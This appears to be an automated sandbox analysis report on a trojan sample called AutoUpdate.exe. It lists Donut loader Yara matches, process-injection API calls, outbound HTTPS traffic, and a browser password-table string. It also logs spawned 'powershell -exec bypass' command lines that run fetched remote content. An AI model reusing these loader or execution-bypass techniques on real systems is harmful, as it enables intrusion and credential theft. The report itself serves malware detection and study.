Source: AutoUpdate.exe, 00000000.00000003.1881055532.000000000389F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: AutoUpdate.exe, 00000000.00000003.1881055532.000000000389F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: AutoUpdate.exe, 00000000.00000003.1881055532.000000000389F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: AutoUpdate.exe	String found in binary or memory: https://www.ssl.com/repository0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.21.93.82:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.82:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.82:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.82:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.82:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.82:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.82:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.82:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.169.205:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.191.144:443 -> 192.168.2.4:49745 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\AutoUpdate.exe

Code function: 0_2_02AEC2C1 NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,CreateThread,

0_2_02AEC2C1

Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AEC2C1	0_2_02AEC2C1
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AA0301	0_2_02AA0301
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AB220B	0_2_02AB220B
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AB920B	0_2_02AB920B
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ABB3AE	0_2_02ABB3AE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ACA3CE	0_2_02ACA3CE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AAE08B	0_2_02AAE08B
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ACD093	0_2_02ACD093
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ABE0EE	0_2_02ABE0EE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AA502E	0_2_02AA502E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AA702E	0_2_02AA702E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AA0000	0_2_02AA0000
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AD5077	0_2_02AD5077
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ADF1FE	0_2_02ADF1FE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ABD1DE	0_2_02ABD1DE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ACD11A	0_2_02ACD11A
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AAC16E	0_2_02AAC16E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ACD16B	0_2_02ACD16B
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ACD158	0_2_02ACD158
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AD662D	0_2_02AD662D
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AA462E	0_2_02AA462E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ADB64E	0_2_02ADB64E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AC27DE	0_2_02AC27DE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AAE72A	0_2_02AAE72A
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ABE77E	0_2_02ABE77E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AD849E	0_2_02AD849E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AD749E	0_2_02AD749E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ACB494	0_2_02ACB494
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ABE4FE	0_2_02ABE4FE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AB8416	0_2_02AB8416
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AC659E	0_2_02AC659E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AC4501	0_2_02AC4501
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AABA90	0_2_02AABA90
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AC1ACE	0_2_02AC1ACE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ABDA0E	0_2_02ABDA0E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AA8B8E	0_2_02AA8B8E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ACFB9E	0_2_02ACFB9E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ACBBE3	0_2_02ACBBE3
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AD8BCE	0_2_02AD8BCE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AD1B3E	0_2_02AD1B3E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ADEB6E	0_2_02ADEB6E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AD5B47	0_2_02AD5B47
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ADE89E	0_2_02ADE89E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AD781E	0_2_02AD781E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AAA85E	0_2_02AAA85E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AA59DE	0_2_02AA59DE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ABC920	0_2_02ABC920
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AA791E	0_2_02AA791E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ABF96E	0_2_02ABF96E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AB0972	0_2_02AB0972
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AB8954	0_2_02AB8954
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ADEE8E	0_2_02ADEE8E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AB7F88	0_2_02AB7F88
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AB9FFE	0_2_02AB9FFE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ACBF4A	0_2_02ACBF4A
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ACBF41	0_2_02ACBF41
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AAAC8E	0_2_02AAAC8E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AD6CCE	0_2_02AD6CCE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ABDCDE	0_2_02ABDCDE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ACBC39	0_2_02ACBC39
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AA9DAE	0_2_02AA9DAE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AA7DAE	0_2_02AA7DAE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02ABCDF8	0_2_02ABCDF8
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AC5DCE	0_2_02AC5DCE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AB6D22	0_2_02AB6D22

Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: String function: 02AA96DE appears 76 times
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: String function: 02AB50EE appears 74 times

Source: AutoUpdate.exe

Static PE information: invalid certificate

Source: AutoUpdate.exe

Static PE information: Number of sections : 11 > 10

Source: AutoUpdate.exe, 00000000.00000003.1785558448.00000000030F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLiveUpdate.exeR vs AutoUpdate.exe
Source: AutoUpdate.exe, 00000000.00000000.1678286235.0000000000696000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameLiveUpdate.exeR vs AutoUpdate.exe
Source: AutoUpdate.exe	Binary or memory string: OriginalFilenameLiveUpdate.exeR vs AutoUpdate.exe

Source: AutoUpdate.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\Desktop\AutoUpdate.exe	Process created: Commandline size = 4588
Source: C:\Users\user\Desktop\AutoUpdate.exe	Process created: Commandline size = 4588			Jump to behavior

Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/7@3/3

Source: C:\Users\user\Desktop\AutoUpdate.exe

Code function: 0_2_02AA0A11 CreateToolhelp32Snapshot,Thread32First,Wow64SuspendThread,CloseHandle,

0_2_02AA0A11

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6956:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3104:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hp2icekv.0bg.ps1

Jump to behavior

Source: Yara match	File source: AutoUpdate.exe, type: SAMPLE
Source: Yara match	File source: 0.0.AutoUpdate.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1677973971.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1785558448.00000000030F6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\AutoUpdate.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\AutoUpdate.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: AutoUpdate.exe, 00000000.00000003.1857826467.0000000003781000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: AutoUpdate.exe

ReversingLabs: Detection: 15%

Source: C:\Users\user\Desktop\AutoUpdate.exe

File read: C:\Users\user\Desktop\AutoUpdate.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\AutoUpdate.exe "C:\Users\user\Desktop\AutoUpdate.exe"
Source: C:\Users\user\Desktop\AutoUpdate.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass error code: 523
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\AutoUpdate.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Suspected phishing site \| Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="UwKlRWOOvWBtYJ.FwDwDmXsQcmgI5ndC_Cc6FOD4boY-1734996638-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> <
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\AutoUpdate.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass error code: 523	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Suspected phishing site \| Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="UwKlRWOOvWBtYJ.FwDwDmXsQcmgI5ndC_Cc6FOD4boY-1734996638-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> <	Jump to behavior

Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
